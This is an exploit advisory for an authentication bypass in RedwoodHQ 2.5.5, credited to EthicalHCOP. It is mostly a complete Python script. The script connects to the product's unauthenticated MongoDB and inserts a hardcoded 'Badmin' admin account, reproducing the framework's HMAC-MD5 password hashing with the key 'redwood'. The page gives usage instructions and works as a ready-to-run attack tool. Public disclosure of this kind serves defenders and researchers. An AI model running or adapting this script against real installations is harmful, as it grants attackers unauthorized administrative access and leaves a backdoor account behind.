RedwoodHQ 2.5.5 Authentication Bypass

2019.06.18
Credit: EthicalHCOP
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# -*- encoding: utf-8 -*- #!/usr/bin/python3 # Exploit Title: RedxploitHQ (Create Admin User by missing authentication on db) # Date: 14-june-2019 # Exploit Author: EthicalHCOP # Version: 2.0 / 2.5.5 # Vendor Homepage: https://redwoodhq.com/ # Software Link: https://redwoodhq.com/redwood-download/ # Tested on: Ubuntu and Windows. # Twitter: @EthicalHcop # Usage: python3 RedxploitHQ.py -H mongo_host -P mongo_port # Description: Use RedxploitHQ to create a new Admin user into redwoodhq and get all the functions on the framework # # RedwoodHQ doesn't require that MongoDB is installed on the machine because this tool have her own Mongo Launcher. # The problem is that this vendor database doesn't require any authentication to read her data. # So, I use the same syntax that use the Framework to create my admin user on the database and access into the tool # # POC: https://youtu.be/MK9AvoJDtxY import hashlib import hmac import optparse from pymongo import MongoClient def CreateHMAC(Pass): message = bytes(Pass,encoding='utf8') secret = bytes('redwood',encoding='utf8') hash = hmac.new(secret, message, hashlib.md5) return (hash.hexdigest()) def DbConnect(ip,port): uri = "mongodb://" + ip + ":" + port + "/" con = MongoClient(uri) return con def DbDisconnect(con): con.close() def CreateBadminUser(ip, port, user, passw): con = DbConnect(ip, port) db = con.automationframework usr = db.users passw = CreateHMAC(passw) data = { "name": user, "password": passw, "tag": [], "role": "Admin", "username": user, "status": "" } usr.insert_one(data) DbDisconnect(con) def start(): parser = optparse.OptionParser('usage %prog ' + \ '-H host -P port') parser.add_option('-P', '--Port', dest='port', type='string', \ help='MongoDB Port') parser.add_option('-H', '--Host', dest='host', type='string', \ help='MongoDB Host') (options, args) = parser.parse_args() ip = options.host port = options.port if (str(ip) == "None"): print("Insert Host") exit(0) if (str(port) == "None"): port = "27017" try: CreateBadminUser(str(ip), str(port), 'Badmin', 'Badmin') print("[+] New user 'Badmin'/'Badmin' created.") except Exception as e: print("[-] Can't create the 'Badmin'/'Badmin' user. Error: "+str(e)) if __name__ == '__main__': start()


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